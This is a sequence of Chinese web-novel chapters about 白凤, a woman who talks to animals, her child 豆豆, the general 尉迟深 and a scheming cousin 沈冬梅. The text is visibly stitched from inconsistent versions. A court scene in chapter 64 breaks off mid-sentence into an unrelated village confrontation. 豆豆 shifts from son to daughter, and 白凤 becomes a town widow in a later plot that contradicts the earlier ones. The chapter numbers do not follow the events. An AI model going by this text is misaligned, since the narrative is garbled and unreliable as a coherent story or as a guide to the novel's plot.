尉迟深站在廊下,看着妻子和动物们“交流”,嘴角不自觉地上扬。这个女人总是能给他带来惊喜,无论遇到什么困难,她都能想出办法解决。 “你说,皇上是真心要帮我们,还是另有打算?”白凤走到他身边,低声问道。 “两者都有。”尉迟深思索片刻,“太子死了,皇上需要重新选择继承人。朝中势力复杂,他需要制衡。我交出兵权,正好给了他一个机会。” “那我们接下来怎么办?” “先把你的动物园建起来。”尉迟深看着远处的天空,“然后等机会。” 夜幕降临,府中灯火通明。白凤坐在书房里,铺开一张大大的图纸,开始规划动物园的布局。尉迟深坐在她对面,帮她研磨。 “这里可以建个湖,养些水鸟。”白凤用笔在图纸上画了个圈,“这边建个山洞,给老虎住。猴子喜欢爬树,多种些树……” 她说得兴致勃勃,完全忘记了白天的不快。尉迟深看着她,眼中满是温柔。 “对了,我还要建个表演场。”白凤抬起头,眼睛亮晶晶的,“让老虎跳火圈,猴子骑车,鹰抓兔子……肯定能赚大钱。” “你这是要把它们累死。”尉迟深忍不住笑了。 “哪有,它们每天吃饱了就睡,正好活动活动筋骨。”白凤哼了一声,“再说了,咱们现在没了兵权,总得有点收入吧?总不能坐吃山空。” 尉迟深没有说话,只是静静地看着她。这个女人总是这样,无论遇到什么困难,都能乐观面对。她就像一束光,照亮了他原本灰暗的人生。 “你在想什么?”白凤察觉到他的目光,抬起头问道。 “在想你。” “油嘴滑舌。”白凤脸一红,低下头继续画图纸。 窗外的月光洒进来,照在两人身上,拉出长长的影子。这一夜,他们聊了很多,从动物园的规划,到未来的打算,再到朝中的局势。 他们都知道,这只是暴风雨前的宁静。太子的死,只是一个开始。 动物园建起来的速度比白凤想象的要快。皇帝拨了银子,又派了工部的人来帮忙,短短两个月,一座占地百亩的皇家动物园就在京城外落成了。 开园那天,人山人海。 白凤站在门口,看着络绎不绝的人群,心中涌起一股成就感。她的“小弟们”今天都打扮得漂漂亮亮,老虎脖子上系着红绸,猴子戴着小帽子,连鹰的爪子上都绑了铃铛。 “娘子,该开始了。”尉迟深走到她身边,递给她一个铜锣。 白凤接过铜锣,用力敲了三下。清脆的锣声响起,人群立刻安静下来。 “各位父老乡亲,今天是皇家动物园开园的日子。”白凤扬声说道,“大家花一文钱,就能看到老虎跳火圈,猴子骑车,鹰抓兔子。保证让大家大开眼界!” 人群中爆发出一阵欢呼。 第一场表演是老虎跳火圈。白凤牵着那只大老虎走进场地,人群立刻往后退了几步。老虎打了个哈欠,露出锋利的牙齿,吓得有人尖叫起来。 “别怕,它很乖的。”白凤拍拍老虎的脑袋,“来,跳一个。” 老虎懒洋洋地看了她一眼,似乎在说:我不想跳。 白凤从怀里掏出一块肉干,在它面前晃了晃。老虎的眼睛立刻亮了,纵身一跃,轻松地跳过了火圈。人群中响起热烈的掌声。 接下来是猴子骑车。那只猴子穿着小马甲,骑着一辆特制的小车,在场地里转了好几圈,还不时向观众挥手。孩子们笑得前仰后合,大人们也看得津津有味。 最精彩的是鹰抓兔子。白凤放出一只兔子,鹰在空中盘旋几圈,突然俯冲而下,精准地抓住了兔子。整个过程不到三秒,观众们还没反应过来,表演就结束了。 “好!”人群中爆发出雷鸣般的掌声。 白凤笑着鞠了一躬,心中暗自得意。看来这动物园的生意,稳了。 然而就在这时,一只鸟突然飞到她肩膀上,在她耳边叽叽喳喳地叫了几声。白凤的笑容凝固了,她转头看向尉迟深,两人的目光在空中交汇。 “继续表演,我去去就回。”白凤低声对尉迟深说。 她快步走出动物园,来到一处僻静的角落。那只鸟停在她手上,继续叽叽喳喳地叫着。白凤听完,脸色变得凝重起来。 太子虽然死了,但他的党羽还在。这些人不甘心失去权力,正在密谋拥立新的太子。而他们的目标,竟然是当今皇上的三皇子。 第64章 我们可以帮他 三皇子今年才十二岁,性格懦弱,完全是个傀儡。如果让太子党得逞,朝政必然大乱。 白凤思索片刻,决定先不声张。她让鸟继续监视那些人的动向,自己则回到了动物园。 晚上回到府中,白凤把这件事告诉了尉迟深。 “太子党的人还不死心。”她坐在椅子上,揉着太阳穴,“他们想拥立三皇子,架空皇上。” 尉迟深沉默了片刻,缓缓开口:“皇上现在最需要的,是一个能够信任的继承人。” “你的意思是……”白凤看着他。 “我们可以帮他。”尉迟深站起身,在房间里来回踱步,“但不能白帮。” 白凤眼睛一亮,立刻明白了他的意思。 第二天一早,白凤就进宫求见皇帝。她带了一只鹦鹉,说是要献给皇上解闷。皇帝看着这只色彩斑斓的鹦鹉,倒也喜欢,让人放在了御书房。 “皇上,这鹦鹉可不是普通的鹦鹉。”白凤笑着说,“它会说话,还会传消息。” “哦?”皇帝来了兴趣,“怎么传消息?” “它能听懂人话,记住人说的话,然后飞回来告诉我。”白凤压低声音,“皇上若是想知道朝中有什么风吹草动,尽管问它。” 皇帝愣了一下,随即明白了白凤的意思。他看着这只鹦鹉,眼中闪过一丝精光。 “好,朕收下了。” 白凤告退后,皇帝坐在龙椅上,看着那只鹦鹉,陷入了沉思。太子的死让他措手不及,朝中局势复杂,他确实需要一双眼睛,帮他看清那些暗处的阴谋。 而白凤,恰好给了他这双眼睛。 接下来的日子里,白凤的鸟类情报网发挥了巨大的作用。太子党的一举一动,都逃不过这些鸟的眼睛。它们飞进各个府邸,躲在屋檐下,听着那些人密谋。 然而白凤并没有立刻把这些消息告诉皇帝。她在等,等一个合适的时机,也等一个合适的价码。 这天,皇帝派人来传话,说是有要事相商。白凤和尉迟深一起进宫,来到御书房。 “白氏,朕听说你的鸟最近很忙?”皇帝坐在龙椅上,似笑非笑地看着她。 白凤心中一惊,面上却不动声色。 “回皇上,臣妇的鸟确实在城里飞来飞去,不过都是为了找吃的。” “是吗?”皇帝站起身,走到她面前,白凤话音刚落,黑甲侍卫的脸色就沉了下来。 “你可知道拒绝将军意味着什么?”侍卫的声音冷得像腊月的冰碴子。 “不知道,也不想知道。”白凤抱紧怀里的豆豆,往后退了半步。 大黄狗龇着牙,低吼声从喉咙里滚出来。白凤听得清楚,它在说:“这些人不是好东西,身上全是血腥味。” 舅妈沈氏见状,眼珠子转了转,立刻换上一副笑脸:“哎呀,白凤这孩子就是嘴笨,不会说话。将军府能看上她,那是她的福气。几位大人稍等,我这就劝劝她。” 说着,沈氏就要往前凑。 白凤冷眼看着她:“舅妈这么热心,不如你替我去将军府?” “你这死丫头说什么胡话!”沈氏的脸瞬间涨红,“将军要的是你和豆豆,我去算什么?” “那不就得了。”白凤抬起下巴,“我不去,谁也别想逼我。” 黑甲侍卫显然没料到一个乡下女子敢这么硬气,愣了片刻后,冷笑道:“你以为你有选择的余地?将军的命令,岂是你能违抗的?” “他的命令管不到我头上。”白凤说得斩钉截铁,“我和他没关系,豆豆也不是他的儿子。” 这话一出,周围看热闹的村民都倒吸一口凉气。 沈氏更是气得跳脚:“白凤!你疯了不成?那可是将军府!多少人想攀都攀不上的高枝!” “高枝我攀不起,也不想攀。”白凤转身就走,“豆豆是我的儿子,我自己养得起。” 黑甲侍卫眼神一冷,抬手就要去抓白凤的胳膊。 大黄狗猛地扑了上去,一口咬住侍卫的小腿。侍卫吃痛,抬脚就要踢开大黄狗,却被枣红骏马突然嘶鸣一声,前蹄高高扬起,吓得他连忙后退。 “畜生!”侍卫怒骂一声,抽出腰间的佩刀。 白凤心头一紧,正要喊大黄狗回来,就听见枣红骏马用只有她能听懂的声音说:“别怕,他不敢真动手。主子交代过,不能伤你。” 果然,侍卫举着刀,却没有真的劈下去。 “你最好想清楚。”侍卫收起刀,声音阴沉,“将军给你三天时间考虑。三天后,我们会再来。到那时,可由不得你了。” 说完,侍卫翻身上马,带着几个随从扬长而去。 沈氏气得直跺脚:“白凤!你这是要害死我们全家吗?得罪了将军府,我们还怎么在这村里待下去?” “那是你的事。”白凤头也不回,抱着豆豆往城隍庙走。 大黄狗跟在她身边,一瘸一拐的。白凤蹲下身,检查它的伤势,发现只是皮外伤,这才松了口气。 “疼吗?”她轻声问。 “不疼。”大黄狗甩甩尾巴,“那些人不是好东西,你千万别跟他们走。” “我知道。”白凤摸摸它的头,“走,回去。” 回到城隍庙,白凤把豆豆放在破草席上,自己坐在门槛上发呆。 她不是原主,自然不会对所谓的将军府有什么幻想。穿越前她看过太多宅斗宫斗的,深知那些大户人家的水有多深。更何况,尉迟深要接她回去的理由是“绝嗣”,这本身就透着古怪。 一个堂堂将军,会因为绝嗣就想起一个乡下女子和她的儿子? 白凤越想越觉得不对劲。 “娘,我饿。”豆豆揉着肚子,可怜巴巴地看着她。 白凤回过神,从怀里掏出昨天换来的几个铜板:“娘这就去给你买吃的。” 村口有个卖馒头的王婆子,五文钱三个大馒头。白凤买了六个,又花两文钱买了一碗豆腐脑,端回城隍庙。 豆豆吃得很香,白凤却没什么胃口。 大黄狗蹲在她脚边,突然开口:“那匹马跟我说了,尉迟深这次受了重伤,军医说他活不过三个月。” 白凤手里的馒头差点掉在地上。 “什么?” “那匹马说,尉迟深在边关打仗时中了毒箭,毒素攻心,命不久矣。”大黄狗舔舔爪子,“所以他才急着找你和豆豆回去,大概是想在死前认个儿子,好继承他的家业。” 第65章 五年? 白凤倒吸一口凉气。 难怪那些侍卫这么着急,原来是主子快不行了。 “那他为什么觉得豆豆是他的儿子?”白凤皱眉,“原主和他到底是什么关系?” 大黄狗摇摇头:“这我就不知道了。不过那匹马说,尉迟深这些年一直在找一个女人,找了整整五年。” 五年? 白凤心里一动。豆豆今年四岁,往前推五年,正好是原主怀孕的时候。 难道原主真的和尉迟深有过一段? 可原主的记忆里,根本没有关于尉迟深的任何印象。白凤穿越过来后,继承的记忆支离破碎,只记得原主未婚先孕,被家里赶出来,投奔舅妈,却过得猪狗不如。 至于孩子的父亲是谁,原主从来没说过。 白凤揉揉太阳穴,头疼得厉害。 “不管怎么样,我都不会去将军府。”她下定决心,“豆豆是我的儿子,谁也别想抢走。” 大黄狗点点头:“我支持你。不过那些人三天后还会来,你得想个办法。” “我知道。”白凤咬咬牙,“这三天,我得多赚点银子,然后带着豆豆离开这里。” 她不能坐以待毙。 第二天一早,白凤就带着豆豆和大黄狗上山了。 昨天在山洞里采的药材卖了不少银子,白凤尝到了甜头,打算再去采一些。反正她现在能听懂动物说话,找药材比别人容易得多。 山路崎岖,白凤背着豆豆,走得很慢。大黄狗在前面带路,时不时回头看看她。 “前面有个山洞,里面有好东西。”大黄狗突然停下脚步,鼻子嗅了嗅,“我闻到了人参的味道。” 白凤眼睛一亮:“真的?” “骗你干什么。”大黄狗摇摇尾巴,“跟我来。” 穿过一片灌木丛,果然看到一个隐蔽的山洞。洞口长满了藤蔓,不仔细看根本发现不了。 白凤把豆豆放在洞口,自己钻了进去。 山洞里很暗,白凤摸出火折子,借着微弱的光线往里走。走了十几步,眼前突然开阔起来。 洞壁上长满了青苔,地上散落着一些枯枝败叶。白凤仔细搜寻,果然在角落里发现了一株人参。 这株人参不大,但品相极好,须根完整,参体饱满。白凤小心翼翼地挖出来,用布包好,放进背篓里。 “还有吗?”她问大黄狗。 “有,往里走。”大黄狗带着她继续往深处走。 山洞越来越深,空气也越来越潮湿。白凤正要往前走,突然听到一阵窸窸窣窣的声音。 她停下脚步,竖起耳朵仔细听。 “有人来了。”一个尖细的声音响起,“快跑!” 白凤一愣,这是老鼠的声音。 “别跑,我不会伤害你们。”她连忙说道。 窸窸窣窣的声音停了下来,片刻后,一只灰色的大老鼠从石缝里探出头来。 “你能听懂我说话?”老鼠瞪大眼睛,满脸不可思议。 “能。”白凤蹲下身,“你们知道这山洞里还有什么好东西吗?” 老鼠犹豫了一下,说:“有,但你得答应我一个条件。” “什么条件?” “帮我们赶走那只黄鼠狼。”老鼠咬牙切齿,“那畜生占了我们的洞,还吃了我们好几个兄弟。” 白凤想了想:“黄鼠狼在哪?” “就在前面。”老鼠指指洞的深处,“不过你要小心,那畜生很凶。” 白凤点点头,让大黄狗留在外面看着豆豆,自己拿着一根木棍,小心翼翼地往前走。 走了大约二十步,前面突然传来一阵恶臭。白凤捂住鼻子,借着火折子的光,看到一只黄鼠狼正趴在地上,啃食着什么东西。 “喂。”白凤敲敲洞壁。 黄鼠狼猛地抬起头,一双绿莹莹的眼睛盯着她,发出威胁的嘶嘶声。 “这是老鼠们的地盘,你该走了。”白凤举起木棍,做出攻击的姿势。 黄鼠狼龇牙咧嘴,突然朝她扑了过来。 白凤早有准备,一棍子抽在黄鼠狼的脑袋上。黄鼠狼惨叫一声,转身就跑,眨眼间消失在洞的深处。 “走了?”老鼠们从石缝里钻出来,围着白凤转圈。 “走了。”白凤收起木棍,“现在可以告诉我,这里还有什么好东西了吧?” 老鼠们叽叽喳喳地商量了一会儿,最后带着白凤来到洞的最深处。 那里有一块巨大的石头,石头下面压着一个破旧的木箱子。 “这是什么?”白凤好奇地问。 “不知道。”老鼠摇摇头,“这箱子在这里很多年了,我们搬不动。” 白凤费了好大劲,才把石头挪开。木箱子已经腐朽得差不多了,轻轻一碰就散了架。 箱子里装着一些发霉的衣服,还有几本泛黄的书。白凤翻了翻,发现是医书。 她眼睛一亮,赶紧把书收起来。 除了医书,箱子底部还有一个小布包。白凤打开一看,里面竟然是一锭银子,足足有十两。 “发财了。”白凤忍不住笑出声。 有了这十两银子,她就能带着豆豆离开这里,去别的地方重新开始。 白凤抱着医书和银子,心满意足地走出山洞。豆豆见她出来,立刻扑进她怀里。 “娘,你去哪了?我害怕。” “娘去找好东西了。”白凤亲亲他的额头,“以后咱们就有银子了,娘带你去吃好吃的。” 豆豆眨巴着眼睛,似懂非懂地点点头。 下山的路上,白凤一直在想接下来该怎么办。十两银子不算少,但要带着孩子逃走,还得找个安全的地方落脚,这点银子恐怕不够。 “你打算去哪?”大黄狗问。 “还没想好。”白凤叹了口气,“总之不能留在这里。” “那你得快点决定。”大黄狗提醒她,“今天已经是第二天了,明天那些人就会来。” 白凤心里一紧,脚步不由得加快了。 回到城隍庙,白凤把医书藏好,银子缝在衣服里。她正准备给豆豆做饭,就听到外面传来一阵嘈杂的声音。 “白凤!你给我滚出来!” 是沈冬梅的声音。 白凤皱起眉头,抱起豆豆走出去。 沈冬梅站在城隍庙门口,身后跟着七八个地痞模样的男人。她叉着腰,一脸得意。 “白凤,你还真以为自己能躲一辈子?”沈冬梅冷笑,“我娘说了,你要是不去将军府,就别怪我们不客气。” 第66章 住手! “你想怎么样?”白凤把豆豆护在身后。 “怎么样?”沈冬梅指指身后的地痞,“这些是我找来的帮手。你要是识相,就乖乖跟我们走。要是不识相,别怪我们动粗。” 白凤冷笑:“你们敢动我试试。” “哟,还挺硬气。”一个地痞走上前,伸手就要去抓白凤的胳膊。 大黄狗猛地扑上去,一口咬住地痞的手腕。地痞惨叫一声,抬脚就要踢大黄狗。 “住手!” 一个低沉的声音突然响起。 众人回头一看,只见一个身穿青衫的年轻男子站在不远处。男子长得极为俊美,眉眼间却带着几分病态的苍白。 “你是谁?”沈冬梅警惕地问。 “路过的。”男子走上前,目光落在白凤身上,“姑娘,需要帮忙吗?” 白凤打量着他,心里有些疑惑。这人看起来文质彬彬,但眼神却很锐利,显然不是普通人。 “不用。”她冷冷地说。 男子笑了笑,也不生气,转而看向沈冬梅:“光天化日之下,你们这是要做什么?” “关你什么事?”沈冬梅不耐烦地挥挥手,“识相的赶紧走,别多管闲事。” “我偏要管。”男子的声音突然冷了下来,“来人。” 话音刚落,从树林里走出十几个黑衣侍卫,将沈冬梅一行人团团围住。 沈冬梅脸色大变:“你、你是什么人?” “我是谁不重要。”男子淡淡地说,“重要的是,你们不该欺负一个弱女子。” “弱女子?”沈冬梅气急败坏,“她可不是什么弱女子!她、她是将军府要的人!” 男子挑了挑眉:“将军府?哪个将军府?” “尉迟将军府!”沈冬梅以为搬出尉迟深的名号能镇住对方,“识相的赶紧让开,否则将军府不会放过你!” 男子却笑了:“原来是尉迟深。” 他转头看向白凤,眼神变得意味深长:“姑娘,你和尉迟深是什么关系?” 白凤心里警铃大作,这人明显来者不善。 “没关系。”她抱紧豆豆,往后退了一步。 “没关系?”男子走近几步,“那为什么尉迟深要派人来接你?” “我怎么知道。”白凤冷着脸,“你到底是谁?” 男子沉默了片刻,突然笑了:“我叫萧瑾,是尉迟深的……朋友。” 朋友? 白凤才不信。 “既然是朋友,那你应该去找他,而不是来找我。”白凤说完,转身就要走。 “等等。”萧瑾叫住她,“姑娘,我有个提议。” “不听。” “别急着拒绝。”萧瑾笑得温和,“我可以帮你摆脱尉迟深,条件是,你得答应我一件事。” 白凤停下脚步,回头看他:“什么事?” “跟我走。”萧瑾说得轻描淡写,“我保证,尉迟深再也找不到你。” 白凤心里一沉。 这人果然不怀好意。 “凭什么相信你?”她冷冷地问。 “凭我能保护你。”萧瑾指指周围的黑衣侍卫,“尉迟深虽然是将军,但他现在命不久矣,手下的人未必还听他的。而我不同,我有的是办法让你和孩子安全。” 白凤咬咬牙,正要说话,突然听到大黄狗的声音:“别信他,这人也不是好东西。” 她心里一动,装作犹豫的样子:“我考虑考虑。” “可以。”萧瑾也不着急,“不过我只给你一天时间。明天这个时候,我会再来。” 说完,他带着侍卫转身离开。 沈冬梅和那些地痞早就吓得腿软,见萧瑾走了,连忙灰溜溜地跑了。 白凤抱着豆豆回到城隍庙,心里乱成一团。 “这人是谁?”她问大黄狗。 “不知道,但他身上的气息很危险。”大黄狗舔舔爪子,“你千万别跟他走。” “我知道。”白凤揉揉太阳穴,“现在麻烦大了。尉迟深那边还没解决,又冒出个萧瑾。” “要不咱们今晚就走?”大黄狗提议。 “往哪走?”白凤苦笑,“我人生地不熟的,带着孩子能跑到哪去?” 大黄狗沉默了。 白凤坐在门槛上,看着怀里的豆豆,心里五味杂陈。 她不是原主,对尉迟深没有任何感情。但豆豆是无辜的,她不能让孩子卷进这些乱七八糟的事情里。 “娘,你怎么了?”豆豆仰起小脸,眼睛里满是担忧。 “娘没事。”白凤勉强笑了笑,“豆豆乖,娘给你做好吃的。” 她站起身,走进城隍庙,从背篓里拿出今天采的野菜和蘑菇。正准备生火,突然听到外面传来马蹄声。 白凤心里一紧,难道又有人来了? 她抱起豆豆,躲在门后,透过门缝往外看。 只见一匹枣红骏马停在城隍庙门口,马背上坐着一个身穿黑甲的男人。男人身材高大,面容冷峻,浑身散发着凌厉的气息。 白凤心里咯噔一下。 这人,该不会就是尉迟深吧? 男人翻身下马,大步走进城隍庙。他的目光扫过破败的神像,最后落在躲在门后的白凤身上。 “出来。”他的声音低沉,带着不容置疑的威严。 白凤咬咬牙,抱着豆豆走了出来。 “你就是尉迟深?”她抬起头,直视着他。 男人没有回答,只是盯着她看了许久,然后目光落在豆豆身上。 豆豆被他看得有些害怕,缩进白凤怀里。 “他是我的儿子?”尉迟深突然开口。 “不是。”白凤毫不犹豫地说。 “你在撒谎。”尉迟深走近一步,“他长得和我小时候一模一样。” 白凤心里一惊,但面上不动声色:“那只是巧合。” “巧合?”尉迟深冷笑,“五年前,你在清河镇的客栈里救过一个受伤的男人。那个人,就是我。” 白凤愣住了。 原主救过尉迟深? “我不记得了。”她硬着头皮说。 “不记得?”尉迟深的眼神变得危险,“那你记不记得,那晚你和我……” “够了!”白凤打断他,“就算你说的是真的,那也是五年前的事了。现在我和你没有任何关系。” “没关系?”尉迟深突然伸手,捏住她的下巴,“你怀了我的孩子,还说没关系?” 白凤被他捏得生疼,却倔强地瞪着他:“放手。” 尉迟深盯着她看了许久,最后松开手。 第67章 我选第三个 “我不管你愿不愿意,你和孩子都得跟我回去。”他的声音不容拒绝,“我的时间不多了,我必须在死前安排好一切。” “你死不死关我什么事?”白凤冷笑,“我不会跟你走的。” “由不得你。”尉迟深转身走向门口,“明天一早,我会派人来接你。如果你敢跑,我会把整个村子翻个底朝天。” 说完,他翻身上马,扬长而去。 白凤站在原地,浑身发抖。 不是害怕,是气的。 “这些男人都是什么东西!”她咬牙切齿,“一个两个都想控制我!” 大黄狗蹭蹭她的腿:“怎么办?” “走。”白凤下定决心,“今晚就走,越远越好。” 夜幕降临,白凤收拾好所有东西,背起豆豆,带着大黄狗悄悄离开城隍庙。 她没有走大路,而是抄小路往山里走。只要翻过这座山,就能到隔壁的县城,到时候找个地方藏起来,尉迟深就算有通天的本事,也找不到她。 山路崎岖难行,白凤走得很慢。豆豆趴在她背上,已经睡着了。大黄狗在前面带路,时不时回头看看她。 “累不累?要不要歇会儿?”大黄狗问。 “不累。”白凤咬牙坚持,“得赶在天亮前翻过这座山。” 她知道,一旦天亮,尉迟深的人就会发现她跑了。到时候追兵一到,她就真的逃不掉了。 走了大约两个时辰,白凤终于爬到山顶。她气喘吁吁地停下脚步,回头看了一眼山下的村庄,心里松了口气。 “终于要离开这个鬼地方了。”她喃喃自语。 “别高兴得太早。”大黄狗突然警觉地竖起耳朵,“有人来了。” 白凤心里一紧,连忙躲到树后。 不一会儿,就听到马蹄声由远及近。白凤透过树叶的缝隙往外看,只见十几个黑甲侍卫骑着马,正朝山顶赶来。 “该死。”白凤低声咒骂,“他们怎么这么快就追上来了?” “可能是那匹马告的密。”大黄狗说,“我早说了,那匹马不可信。” 白凤咬咬牙,抱紧豆豆,准备继续往前跑。可还没走几步,就听到前面传来一阵笑声。 “姑娘,这么晚了还赶路,不怕遇到坏人吗?” 白凤抬起头,只见萧瑾不知何时出现在前面,正笑吟吟地看着她。 “你怎么在这?”白凤警惕地问。 “我说过,我会来找你。”萧瑾走近几步,“没想到你这么快就做出了选择。” “我没有选择你。”白凤冷冷地说,“我只是想离开这里。” “离开?”萧瑾笑了,“你以为你能逃得掉吗?尉迟深的人已经追上来了,用不了多久,他们就会找到你。” “那关你什么事?” “当然有关系。”萧瑾的笑容变得意味深长,“因为我也想要你。” 白凤心里一沉:“你什么意思?” “字面意思。”萧瑾走到她面前,伸手想要摸豆豆的脸,却被白凤躲开了。 “别碰他。”白凤把豆豆护得更紧。 萧瑾也不生气,收回手,淡淡地说:“姑娘,你现在有两个选择。一是跟我走,我保证你和孩子平安无事。二是被尉迟深抓回去,从此失去自由。” “我选第三个。” 白凤这个名字,在镇上传开了。 起初只是几个妇人私下议论,说城西那个寡妇不简单,手里有治病的好方子。后来连药铺掌柜都打听上门,想出高价买她的药方。白凤一概拒绝,只说这些方子是祖传的,不外传。 豆豆的日子确实好过了。 小姑娘现在每天能吃上白面馒头,身上的衣裳也换了新的。白凤给她买了个红头绳,豆豆高兴得在院子里转了好几圈,连院子里那只老黄狗都跟着她摇尾巴。 “娘,我今天在学堂,李婶子家的闺女还问我,咱家是不是发财了。”豆豆捧着碗,小口小口喝着鸡汤。 白凤正在院子里晾药材,听了这话只是笑:“发什么财,不过是日子过得去罢了。” 话虽这么说,她心里清楚,这点名声来得不容易。前些日子给王家小姐治好了顽疾,王家送来的谢礼就够她们娘俩吃半年。更重要的是,军营里有个百夫长的妻子病重,她托人四处寻药,白凤恰好知道哪里能找到那味稀罕药材。 那药材生在深山,寻常人不敢去。白凤带着山里那只老猴和两只野狼,硬是在悬崖边上采了回来。百夫长的妻子服药后,病情果然好转,百夫长亲自登门道谢,还说以后有什么难处尽管开口。 白凤当时只觉得这是客套话,没往心里去。 沈家那边,就不是这么想了。 沈冬梅坐在娘家的堂屋里,脸色铁青。她肚子已经显怀,走路都得人扶着,偏偏这会儿气得浑身发抖。 “凭什么?她一个寡妇,凭什么过得比我还好?” 沈冬梅的娘在旁边劝:“你少说两句,现在要紧的是养胎。” “养什么胎!”沈冬梅猛地拍了桌子,“我在家里吃糠咽菜,她倒好,天天大鱼大肉,还给那个小贱种买新衣裳!” 沈家舅舅从外面进来,听见这话皱起眉:“你小声点,这话要是传出去,看你男人怎么收场。” “我怕什么?”沈冬梅梗着脖子,“当初要不是她,我早就嫁到县城去了,哪里用得着受这份罪?” 舅舅叹了口气,在椅子上坐下:“你啊,就是不长记性。上回的事还没完,你又想闹什么幺蛾子?” 沈冬梅不说话了,眼珠子转了转。 上回的事,是她偷偷在白凤喂养的几只鸡鸭里下了毒。她想着,白凤靠这些动物帮忙采药,要是动物都死了,看她还怎么神气。谁知道那些畜生命硬得很,毒药下去半天,一只都没倒。 反倒是白凤察觉出不对,当场抓住了沈家派去的人。 那人是沈家的远房侄子,被白凤揪着衣领拖到村口,当着众人的面质问。那侄子吓得什么都招了,连沈冬梅让他怎么下毒的都说得一清二楚。 村里人看热闹不嫌事大,这事很快传遍了十里八乡。 沈家的脸算是丢尽了。 舅舅当时气得要打沈冬梅,被她娘拦下来。现在想起来,舅舅还觉得胸口发闷:“我让你去给白凤赔罪,你去了没有?” 沈冬梅扭过头:“我不去。” “你不去?”舅舅声音提高了,“你知不知道,现在外面的人怎么说咱们沈家?说咱们心肠歹毒,连寡妇孤女都不放过!你要是再不去赔罪,以后沈家的子侄还怎么在镇上做人?” 第68章 那也得去! 沈冬梅咬着嘴唇,眼泪掉下来:“我去了又怎么样?她会原谅我吗?她巴不得看我笑话!” “那也得去!”舅舅一拍桌子,“明天,你就给我去白凤家,当面赔罪。这事要是不了结,你别想在沈家待下去。” 沈冬梅哭得更凶了,她娘在旁边抹眼泪,却不敢替女儿说话。 第二天一早,沈冬梅被舅舅押着,硬着头皮来到白凤家门口。 白凤正在院子里喂鸡,听见敲门声,豆豆跑去开门。看见沈冬梅,小姑娘脸色一变,转身就往屋里跑:“娘,是那个坏女人来了!” 白凤放下手里的米盆,拍了拍手上的灰,慢慢走到门口。 沈冬梅站在门外,肚子挺得老高,脸上的表情说不出是委屈还是不甘。她身后跟着舅舅,还有沈家的几个长辈。 “白凤。”舅舅开口了,语气里带着几分赔罪的意思,“上次的事,是我们沈家不对。冬梅年轻不懂事,做了糊涂事,今天特地来给你赔罪。” 白凤靠在门框上,没说话。 沈冬梅被舅舅推了一把,不情不愿地开口:“对不起。” 三个字说得含糊不清,听着就没诚意。 白凤笑了:“沈姑娘这是来赔罪的,还是来示威的?” 沈冬梅脸涨得通红:“我都道歉了,你还想怎么样?” “道歉?”白凤往前走了一步,“你下毒想害死我养的动物,现在说句对不起就完了?沈姑娘,你这道歉,我可受不起。” 舅舅赶紧打圆场:“白凤,你看,冬梅现在有了身孕,你就大人不记小人过,这事就算过去了,行不行?” “不行。”白凤的声音冷下来,“你们沈家要是真有诚意,就该把那个下毒的侄子送官。现在倒好,让个孕妇来装可怜,这是觉得我好欺负?” 沈冬梅终于忍不住了:“白凤,你别太过分!我都这样了,你还想怎么样?” “我过分?”白凤冷笑,“要不是我发现得早,我那些动物早就死了。你知不知道,那只老猴跟了我十几年,那两只狼是我从猎人手里救下来的。你想杀它们的时候,怎么不觉得自己过分?” 沈冬梅被说得哑口无言。 舅舅还想再劝,白凤已经转身回了院子:“你们走吧,这罪我不接受。以后沈家的人,别再出现在我家门口。” 门“砰”的一声关上了。 沈冬梅站在门外,气得浑身发抖。舅舅叹了口气,拉着她往回走。 路上,沈冬梅一句话都没说,眼睛里却闪着恶毒的光。 回到家,她把自己关在房里,坐在床边想了很久。 天黑的时候,她让丫鬟去请了师爷来。 师爷姓钱,是县衙里的老人,跟沈家有些亲戚关系。他进门的时候,沈冬梅正坐在窗边,月光照在她脸上,显得格外苍白。 “冬梅,这么晚了找我来,有什么事?”钱师爷在椅子上坐下,接过丫鬟递来的茶。 沈冬梅转过头,眼泪突然掉下来:“钱叔,你得帮帮我。” 钱师爷愣了一下:“出什么事了?” “我这孩子,怕是保不住了。”沈冬梅捂着肚子,哭得上气不接下气,“都是白凤那个贱人,她害我,她想让我没孩子!” 钱师爷皱起眉:“你慢慢说,到底怎么回事?” 沈冬梅添油加醋地把今天的事说了一遍,硬是把白凤说成了十恶不赦的恶人。她说白凤不仅拒绝接受道歉,还威胁要报官,说要让沈家断子绝孙。 “钱叔,我现在怀着孩子,要是出了什么事,这孩子肯定保不住。”沈冬梅抓住钱师爷的袖子,“你得帮我,你得让县太爷管管白凤,不能让她这么嚣张下去。” 钱师爷犹豫了:“这事……不太好办吧?白凤也没犯什么法。” “怎么没犯法?”沈冬梅眼睛一转,“她养那些野兽,万一伤了人怎么办?而且她一个寡妇,整天跟那些男人来往,谁知道清白不清白?” 钱师爷听了这话,心里有了主意。 他在县衙多年,最懂得怎么给人安罪名。只要县太爷点头,找个理由抓白凤,那还不是轻而易举的事? “行,这事我帮你。”钱师爷站起身,“不过你得答应我,以后少惹事。” 沈冬梅连连点头,脸上终于露出了笑容。 钱师爷走后,沈冬梅坐在床边,摸着肚子,嘴角勾起一个弧度。 白凤,这次看你怎么办。 县太爷姓赵,是去年才调来的。 他坐在书房里,听钱师爷说完,手指在桌上敲了敲:“你是说,那个白凤养了一群野兽?” “是。”钱师爷躬着身子,“大人,这事可不是小事。她养的那些畜生,有狼,有猴,还有几只不知道从哪里来的怪鸟。万一伤了人,咱们县衙可担待不起。” 赵县令沉吟片刻:“她养这些东西做什么?” “听说是帮她采药。”钱师爷压低声音,“不过依我看,这里面怕是有些不干净的门道。一个寡妇,整天跟那些野兽待在一起,还能采出什么好药来?说不定是用了什么邪门歪道。” 赵县令眼睛一亮:“你是说,她可能用妖术?” “这个……”钱师爷故意停顿了一下,“小的不敢妄言,但是大人您想,正常人谁能让野兽听话?这要是没点邪门的手段,怎么可能?” 赵县令点点头,心里已经有了盘算。 他来这个县城,本来是想捞点油水的。可惜这地方穷,能榨出来的银子有限。现在听说白凤手里有好药方,还能驯服野兽,这要是能把人抓起来,逼她交出那些方子,转手卖给药商,那可是一笔大财。 “这样。”赵县令站起身,“你去查查,看看能不能找到她用妖术的证据。只要有证据,咱们就能名正言顺地把人抓起来。” 钱师爷心里一喜:“大人英明。” 两天后,县衙的差役就上门了。 白凤正在院子里给豆豆梳头,听见敲门声,还以为是来买药的。豆豆跑去开门,看见门外站着一群穿着官服的人,吓得往后退了几步。 “你们找谁?”白凤走到门口,看见为首的差役,心里咯噔一下。 第69章 妖术? 